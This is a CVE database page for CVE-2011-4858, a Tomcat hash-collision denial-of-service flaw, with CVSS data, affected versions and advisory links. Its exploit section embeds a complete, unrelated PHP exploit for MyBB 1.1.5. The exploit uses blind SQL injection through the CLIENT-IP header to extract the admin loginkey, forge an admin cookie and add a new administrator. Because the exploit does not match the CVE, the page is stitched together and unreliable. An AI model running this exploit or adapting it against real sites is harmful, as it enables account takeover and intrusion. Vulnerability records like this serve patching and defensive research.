CVE-2011-4858 : Detail

CVE-2011-4858

80.93%V3
Network
2012-01-05
18h00 +00:00
2018-01-08
19h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Apache Tomcat before 5.5.35, 6.x before 6.0.35, and 7.x before 7.0.23 computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2012

Publication date : 2006-07-14
22h00 +00:00
Author : rgod
EDB Verified : Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n"; /* works regardless of php.ini settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to MyBB\n"; echo "Options:\n"; echo " -T[prefix] specify a table prefix different from default (mybb_)\n"; echo " -u[number] specify a user id other than 1 (usually admin)\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo " -d: disclose table prefix (reccomended)\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -d\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n"; die; } /* software site: http://www.mybboard.com/ vulnerable code in inc/functions.php near lines 1292-1320: ... function getip() { global $_SERVER; if($_SERVER['HTTP_X_FORWARDED_FOR']) { if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses)) { while(list($key, $val) = each($addresses[0])) { if(!preg_match("#^(10|172\.16|192\.168)\.#", $val)) { $ip = $val; break; } } } } if(!$ip) { if($_SERVER['HTTP_CLIENT_IP']) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } return $ip; } ... you can spoof your ip address through the CLIENT-IP http header... as result you can inject sql statements in class_session.php at lines 36-68: by calling the main index.php script ... function init() { global $ipaddress, $db, $mybb, $noonline; // // Get our visitors IP // $this->ipaddress = $ipaddress = getip(); // // User-agent // $this->useragent = $_SERVER['HTTP_USER_AGENT']; if(strlen($this->useragent) > 100) { $this->useragent = substr($this->useragent, 0, 100); } // // Attempt to find a session id in the cookies // if($_COOKIE['sid']) { $this->sid = addslashes($_COOKIE['sid']); } else { $this->sid = 0; } // // Attempt to load the session from the database // $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'"); ... injection is blind, but you can ask true-false questions to the database to retrieve the admin loginkey. Through that you can build an admin cookie and create a new admin user through the admin/users.php script. Also you can disclose table prefix. -------------------------------------------------------------------------------- -*****************************************************************************- * * * Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto * * grazie Grosso! * * * -*****************************************************************************- */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $anumber = rand(1,99999); $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="mybb_"; $user_id="1";//admin $proxy=""; $dt=0; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $sql="'suntzuuuu/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("You have an error in your SQL syntax",$html)) { $temp=explode("sessions",$html); $temp2=explode(" ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n"; } else { echo "unable to disclose table prefix...\n"; } sleep(1); } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(65,90));//A-Z letters $chars=array_merge($chars,range(97,122));//a-f letters $j=1; $loginkey=""; while (!strstr($loginkey,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";"; echo "admin cookie -> ".$cookie."\r\n"; $data='-----------------------------7d62702f250530 Content-Disposition: form-data; name="action"; do_add -----------------------------7d62702f250530 Content-Disposition: form-data; name="userusername"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="newpassword"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="email"; [email protected] -----------------------------7d62702f250530 Content-Disposition: form-data; name="usergroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="additionalgroups[]"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="displaygroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="Add User"; Add User -----------------------------7d62702f250530-- '; $packet="POST ".$p."admin/users.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("The user has successfully been added",$html)) { echo "exploit succeeded... now login as admin\n"; echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n"; } else { echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n"; } ?> # milw0rm.com [2006-07-15]

Products Mentioned

Configuraton 0

Apache>>Tomcat >> Version 5.5.35

Apache>>Tomcat >> Version 6.0.0

Apache>>Tomcat >> Version 6.0.1

Apache>>Tomcat >> Version 6.0.2

Apache>>Tomcat >> Version 6.0.3

Apache>>Tomcat >> Version 6.0.4

Apache>>Tomcat >> Version 6.0.5

Apache>>Tomcat >> Version 6.0.6

Apache>>Tomcat >> Version 6.0.7

Apache>>Tomcat >> Version 6.0.8

Apache>>Tomcat >> Version 6.0.9

Apache>>Tomcat >> Version 6.0.10

Apache>>Tomcat >> Version 6.0.11

Apache>>Tomcat >> Version 6.0.12

Apache>>Tomcat >> Version 6.0.13

Apache>>Tomcat >> Version 6.0.14

Apache>>Tomcat >> Version 6.0.15

Apache>>Tomcat >> Version 6.0.16

Apache>>Tomcat >> Version 6.0.17

Apache>>Tomcat >> Version 6.0.18

Apache>>Tomcat >> Version 6.0.19

Apache>>Tomcat >> Version 6.0.20

Apache>>Tomcat >> Version 6.0.21

Apache>>Tomcat >> Version 6.0.22

Apache>>Tomcat >> Version 6.0.23

Apache>>Tomcat >> Version 6.0.24

Apache>>Tomcat >> Version 6.0.25

Apache>>Tomcat >> Version 6.0.26

Apache>>Tomcat >> Version 6.0.27

Apache>>Tomcat >> Version 6.0.28

Apache>>Tomcat >> Version 6.0.29

Apache>>Tomcat >> Version 6.0.30

Apache>>Tomcat >> Version 6.0.31

Apache>>Tomcat >> Version 6.0.32

Apache>>Tomcat >> Version 6.0.33

Apache>>Tomcat >> Version 6.0.34

Apache>>Tomcat >> Version 7.0.0

Apache>>Tomcat >> Version 7.0.1

Apache>>Tomcat >> Version 7.0.2

Apache>>Tomcat >> Version 7.0.3

Apache>>Tomcat >> Version 7.0.4

Apache>>Tomcat >> Version 7.0.5

Apache>>Tomcat >> Version 7.0.6

Apache>>Tomcat >> Version 7.0.7

Apache>>Tomcat >> Version 7.0.8

Apache>>Tomcat >> Version 7.0.9

Apache>>Tomcat >> Version 7.0.10

Apache>>Tomcat >> Version 7.0.11

Apache>>Tomcat >> Version 7.0.12

Apache>>Tomcat >> Version 7.0.13

Apache>>Tomcat >> Version 7.0.14

Apache>>Tomcat >> Version 7.0.15

Apache>>Tomcat >> Version 7.0.16

Apache>>Tomcat >> Version 7.0.17

Apache>>Tomcat >> Version 7.0.18

Apache>>Tomcat >> Version 7.0.19

Apache>>Tomcat >> Version 7.0.20

Apache>>Tomcat >> Version 7.0.21

Apache>>Tomcat >> Version 7.0.22

References

http://www.debian.org/security/2012/dsa-2401
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2012-0325.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=136485229118404&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0078.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/51200
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/48791
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2012-0075.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2012-0074.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/48549
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2012-0089.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/54971
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48790
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/55115
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/903934
Tags : third-party-advisory, x_refsource_CERT-VN
http://marc.info/?l=bugtraq&m=133294394108746&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0406.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=133294394108746&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=136485229118404&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://rhn.redhat.com/errata/RHSA-2012-0076.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2012-0077.html
Tags : vendor-advisory, x_refsource_REDHAT